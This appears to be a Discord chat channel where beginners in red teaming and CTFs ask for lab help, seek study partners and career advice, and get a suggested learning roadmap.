thirsty thirsty have to go there I hope you got it

#

😁

narrow minnow
#

Hello good people, how y’all doing, am lost in this field , please i need help 😔💔

ocean bridge
#

I’m looking for someone skilled in reverse engineering I’m paying good money

river gull
#

Hi! I’m looking for three people to join a small CTF team. I’d prefer if you’re 15 or younger and live in a time zone that’s at most ±2 hours from Finland (UTC+0, UTC+1, UTC+2 or UTC+3). The goal isn’t to jump into competitions right away — first we’d get to know each other, practice together, and build a good team dynamic. I’m a beginner and want to improve step by step toward intermediate‑level CTFs. If you’re interested in learning and practicing together, feel free to message me!

steel wave
#

If Youre Willing And Able To Work Consistent Then Join My Team You will Be In Probation for SomeTime

brazen dune
#

Hey guys

#

What’s the average salary for first year (w intern experienced) pentester?

bright echo
#

Google it

spare depot
outer grail
#

Extremely new to red teaming currently learning Linux and bash, next I will do power shell and python then c/c++ I want to do this for college and job if anyone is willing or wanting to work with me on random stuff or learn together just dm me please speak good English

vague plaza
#

Hello! Hoping to find some help with the Room "Custom Tooling using Burp" under Web Application Red Teaming. I am struggling with getting the "SECOND_VM_IP". I started the target VM, then the AttackBox. They say "You can find and start the second VM from this room(which is a link). We will use the IP address of the second VM as SECOND_VM_IP in this room." When I go to that room it tells me the VM is not in my region. Anyone else run into this? Thanks!

tropic ginkgo
#

@Xul I am interested in red teaming as well; however, I am also new to Discord and do not know how to form groups.

tropic ginkgo
#

Is anyone else on here interested in full-spectrum red teaming?

steady imp
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guys i am confused when im trying to gain root access after finding the setImpersonator is enabled

sage mist
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what is the free path to learn red teaming of web??

quasi current
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Struggling with the windowsprivesc20 room, task 4.

For some reason i cant get a connect back, tried making the thing just echo some text as well and it seems to do nothing, its the right path according to schtask so im not sure what i could be doing wrong 🙈 anyone know?

patent frost
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Hi everyone, I need some advice.
I've been in IT for 2 years, my background is mostly in infrastructure, servers (Windows & Linux), services, and now I'm working more as support in a SaaS company, but it's not a very technical role.
I realized I don't like very repetitive things like handling tickets, so I put my profile and the cybersecurity areas that best fit me into Claude's system, and they were all geared towards red team.
I feel like I don't have a strong foundation yet (OS, NETWORK, and WEB), but I have experience.
I want advice on migrating and studying for the red team area, especially with this AI "hype".

true oyster
# patent frost Hi everyone, I need some advice. I've been in IT for 2 years, my background is m...

You’re actually in a solid spot already with the infra + server background—that’s more relevant to red teaming than you probably think.

The main gap you called out (OS, networking, web foundations) is real though, and that’s what will slow you down if you skip it.

I’d follow the THM roadmap, but specifically:

→ Pre Security → Cyber Security 101 (to clean up fundamentals)
→ Then go straight down the Pentester path (Jr Pentester → Web → Red Teaming)

Don’t treat it like “just courses” though—focus on:

really understanding networking (this is huge for red team)
getting comfortable with Linux + Windows internals
then Active Directory once you hit the red team path

Since you already have infra experience, that’ll click faster for you—especially AD attacks and lateral movement.

Also mix in hands-on stuff early (THM labs / HTB), otherwise it’ll feel like theory grind.

If you stay consistent on that path, you’ll have a much clearer transition into red team vs bouncing around randomly.

If you look at this roadmap (attached image), the path highlighted in green is basically what I’d recommend—foundations first, then straight down the pentester track into red teaming.

patent frost
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Thank you, that helps a lot.
Yes, I have that background, but now I want to focus on really having that solid foundation to specialize in.
I WILL take the Pre-Security course.

true oyster
burnt reef
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@true oyster Security analysts pay a significant role in an organization....? What is the answer to that question ❓